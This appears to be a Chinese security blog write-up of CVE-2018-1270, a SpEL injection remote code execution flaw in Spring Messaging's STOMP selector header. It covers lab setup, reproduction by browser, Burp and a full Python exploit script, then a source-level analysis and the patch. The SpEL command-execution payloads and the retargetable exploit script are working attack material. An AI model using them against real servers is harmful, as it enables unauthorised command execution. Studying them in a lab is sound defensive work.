[JAVA安全]Spring Messaging之CVE-2018-1270

 

漏洞简介

Spring 框架中通过spring-messaging 模块来实现 STOMP （Simple Text-Orientated Messaging Protocol）,STOMP是一种封装 WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行， spring-messaging和spring-websocket模块都能提供WebSocket支持的STOMP，一旦有了这些依赖项，就可以通过WebSocket使用SockJS Fallback公开STOMP端点。

具体的说，在Spring Messaging 中，其允许客户端订阅消息，并使用selector 过滤消息，其中 selector 使用SpEL 表达式编写，并使用StandardEvaluationContext解析，从而导致SpEL表达式注入漏洞。

推荐一篇文章 以理解 STOMP ：Spring消息之STOMP - JMCui - 博客园 (cnblogs.com)

 引用p神的描述：

spring-messaging是基于sockjs（可以理解为一个通信协议），而sockjs适配多种浏览器：现代浏览器中使用websocket通信，老式浏览器中使用ajax通信。 连接后端服务器的流程，可以理解为：

1. 用STOMP协议将数据组合成一个文本流

2. 用sockjs协议发送文本流，sockjs会选择一个合适的通道：websocket或xhr(http)，与后端通信

正是由于第2条的存在，我们才可以使用http来复现该漏洞，称之为“降维打击”

如同提及 Struts2 RCE 类漏洞都要提及OGNL 表达式语言

而 Spring 的RCE 类漏洞 往往和SpEL 表达式有关

环境搭建：

git clone https://github.com/spring-guides/gs-messaging-stomp-websocket回退到 漏洞版本
cd gs-messaging-stomp-websocket
git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3

然后导入到IDEA，进行MAVEN加载

 运行成功：

漏洞复现：

方式一：

通过开发者工具F12 修改其中的 app.js 里面的 connect函数 

如何修改，直接定义一个header，里面写入json格式的“selector”,值为SpEL表达式，内容是弹计算器；最后在加入该header

 var header  = {"selector":"T(java.lang.Runtime).getRuntime().exec('calc.exe')"};

最后记得保存一下该app.js

这个时候，依次点击Connect，输入任意字符串，单击Send

 

 利用完成了，但是感觉不是RCE，就像是修改本地文件一样。

但是如果你去Console 看一眼，你会发现整个通讯过程很多是js 完成的，不是app.js发起，就是调用 stomp.min.js 来发起

方式二：

从前面提到

STOMP是将数据组合成文本流，spring-messaging通过sockjs协议发送该文本流，走的是websocket或xhr其中一种通道 

具体可以在 "网络"  可以看到

 其实可以发现当你点击完Connect按钮以后，剩余的通讯过程双方全是通过Websocket进行了，当然通讯的内容我们也是可以直接在里面看的，切换到“Frames”选项卡，可以看见完整的通讯内容

当然，这个只能看不能改，能不能类似burp改http包来改包呢？

毕竟我们知道：burp是能拦截修改websocket数据包的，所以自然可以用于发现并修改整个connect和send的过程websocket的相关情况。同时改app.js这种方式本质上是发送的内容中加了header字段，里面写了selector和SpEL表达式实现命令执行。讲道理是可以用burp替代浏览器完成相关发包操作的。

如果这个时候你用burp抓一下Chrome浏览器的数据包，你会非常震惊地发现：

啥包都没抓到

如果遇到这个情况，你可以改用Firefox浏览器，就可以抓取到相关数据包

步骤1 ：

 先单击“Connect”按钮建立连接，依次抓取并释放，直到抓到内容为以下的websocket包时

在greetings后面添加payload(适用Windows系统)，注意双引号使用反斜杠进行转义

 完整pyload：

["SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:new java.lang.ProcessBuilder(\"calc\").start()\n\n\u0000"]

步骤2：

在文本框中输入任意字符串即可，然后点击  "Send"

 ta

使用burp修改websocket包这种方式适合漏洞复现，有点感觉，但是CVE-2018-1270这个漏洞，网上已经有POC和EXP流出了，有没有可以用python直接执行exp的脚本这种方式实现命令执行呢？

P牛在vulhub上已经贴出https://github.com/vulhub/vulhub/blob/master/spring/CVE-2018-1270/exploit.py

我们可以直接下载下来，使用的时候注意几点：

1. 使用spring的guides项目构建的环境无需修改路径，实际项目可能路径会发生变化；
2. 修改sockjs中的目标URL地址；
3. 修改sockjs的send方法中的seletor内容，修改想执行的命令
4. 建议使用python3.6及以上版本运行该exp；

import requests
import random
import string
import time
import threading
import logging
import sys
import jsonlogging.basicConfig(stream=sys.stdout, level=logging.INFO)def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))class SockJS(threading.Thread):def __init__(self, url, *args, **kwargs):super().__init__(*args, **kwargs)self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'self.daemon = Trueself.session = requests.session()self.session.headers = {'Referer': url,'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'}self.t = int(time.time() * 1000)def run(self):url = f'{self.base}/htmlfile?c=_jp.vulhub'response = self.session.get(url, stream=True)for line in response.iter_lines():time.sleep(0.5)def send(self, command, headers, body=''):data = [command.upper(), '\n']data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))data.append('\n\n')data.append(body)data.append('\x00')data = json.dumps([''.join(data)])response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)if response.status_code != 204:logging.info(f"send '{command}' data error.")else:logging.info(f"send '{command}' data success.")def __del__(self):self.session.close()sockjs = SockJS('http://127.0.0.1:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'
})
sockjs.send('subscribe', {'selector': "T(java.lang.Runtime).getRuntime().exec('calc')",'id': 'sub-0','destination': '/topic/greetings'
})data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'
}, data)

整个过程如果顺利的话，就是这样，py里字符串是vulhub

简单看下脚本内容，实际上可以发现本EXP就是使用python将sockjs的send方法实现了一遍，实现了给指定url发送含有SpEL表达式的websocket请求。

对于本EXP(实际上是POC)，P牛自己也阐述了大致流程和其中的局限性，这里引用一下：

1.基础地址，在vulhub中为http://your-ip:8080/gs-guide-websocket
2.待执行的SpEL表达式，如T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')
3.某一个订阅的地址，如vulhub中为：/topic/greetings
4.如何触发这个订阅，即如何让后端向这个订阅发送消息。在vulhub中，我们向/app/hello发送一个包含name的json，即可触发这个事件。当然在实战中就不同了，所以这个poc并不具有通用性。

漏洞分析

不具体调试分析，只分析漏洞点，具体调试分析可以参考其他文章

从补丁的文件开始分析，即 spring-messaging/src/main/java/org/springframework/messaging/simp/broker/DefaultSubscriptionRegistry.java    

关键在于  addSubscriptionInternal()函数，这里对header参数进行了接收和处理，其中会获取header中的selector，当selector不为空时则设置到expression  （表达式）中：

@Override
protected void addSubscriptionInternal(String sessionId, String subsId, String destination, Message<?> message) {Expression expression = null;MessageHeaders headers = message.getHeaders();String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), headers);if (selector != null) {try {expression = this.expressionParser.parseExpression(selector);this.selectorHeaderInUse = true;if (logger.isTraceEnabled()) {logger.trace("Subscription selector: [" + selector + "]");}}catch (Throwable ex) {if (logger.isDebugEnabled()) {logger.debug("Failed to parse selector: " + selector, ex);}}}this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);

通过sessionId和subsId确定一个selector属性，后续服务端就通过这个subsId来查找特定会话，也就是从headers头部信息查找selector，由selector的值作为expression被执行

前面这是Subscribe操作时设置的selector，我们知道漏洞的触发是在Send之后，接着看下Send之后的函数调用。

看到org\springframework\messaging\simp\broker\SimpleBrokerMessageHandler.java，其中有个

sendMessageToSubscribers()函数，即将我们要发送的数据发送给订阅者，其中参数message保存了此次连接的相关信息，message的头部信息包含了selector的属性，调用了findSubscriptions()函数：

protected void sendMessageToSubscribers(@Nullable String destination, Message<?> message) {MultiValueMap<String,String> subscriptions = this.subscriptionRegistry.findSubscriptions(message);...
}

我们跟进查看findSubscriptions()函数，位于org/springframework/messaging/simp/broker/AbstractSubscriptionRegistry.java中，这里将message传进来findSubscriptionsInternal()函数中：

public final MultiValueMap<String, String> findSubscriptions(Message<?> message) {...return findSubscriptionsInternal(destination, message);
}

跟进findSubscriptionsInternal()函数，位于org\springframework\messaging\simp\broker\DefaultSubscriptionRegistry.java中，这里将message传入了filterSubscriptions()函数进行处理：

@Override
protected MultiValueMap<String, String> findSubscriptionsInternal(String destination, Message<?> message) {MultiValueMap<String, String> result = this.destinationCache.getSubscriptions(destination, message);return filterSubscriptions(result, message);
}

跟进filterSubscriptions()函数，同样在DefaultSubscriptionRegistry.java中定义了，该函数获取前面配置的selector来对subscriptions进行过滤选择，如下

private MultiValueMap<String, String> filterSubscriptions(MultiValueMap<String, String> allMatches, Message<?> message) {if (!this.selectorHeaderInUse) {return allMatches;}EvaluationContext context = null;MultiValueMap<String, String> result = new LinkedMultiValueMap<>(allMatches.size());for (String sessionId : allMatches.keySet()) {for (String subId : allMatches.get(sessionId)) {SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);if (info == null) {continue;}Subscription sub = info.getSubscription(subId);if (sub == null) {continue;}Expression expression = sub.getSelectorExpression();if (expression == null) {result.add(sessionId, subId);continue;}if (context == null) {context = new StandardEvaluationContext(message);context.getPropertyAccessors().add(new SimpMessageHeaderPropertyAccessor());}try {if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) {result.add(sessionId, subId);}}catch (SpelEvaluationException ex) {if (logger.isDebugEnabled()) {logger.debug("Failed to evaluate selector: " + ex.getMessage());}}catch (Throwable ex) {logger.debug("Failed to evaluate selector", ex);}}}return result;
}

分析得知，通过Expression expression = sub.getSelectorExpression();来获取前面订阅时设置的Selector表达式，然后在if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class)))代码中调用了expression.getValue()函数，这就是漏洞触发点，成功触发了SpEL表达式注入漏洞。

补丁：

Re-use EvaluationContext in DefaultSubscriptionRegistry · spring-projects/spring-framework@e0de912 · GitHub

主要是修改了DefaultSubscriptionRegistry这个类，用SimpleEvaluationContext来替代了StandardEvaluationContext，也就是采用了SpEL表达式注入漏洞的通用防御方法。

参考文献：

spring-messaging Remote Code Execution 分析-【CVE-2018-1270】

浅析Spring Messaging之CVE-2018-1270 [ Mi1k7ea ]

IDEA动态调试分析Spring RCE CVE-2018-1270 - MeetSec遇安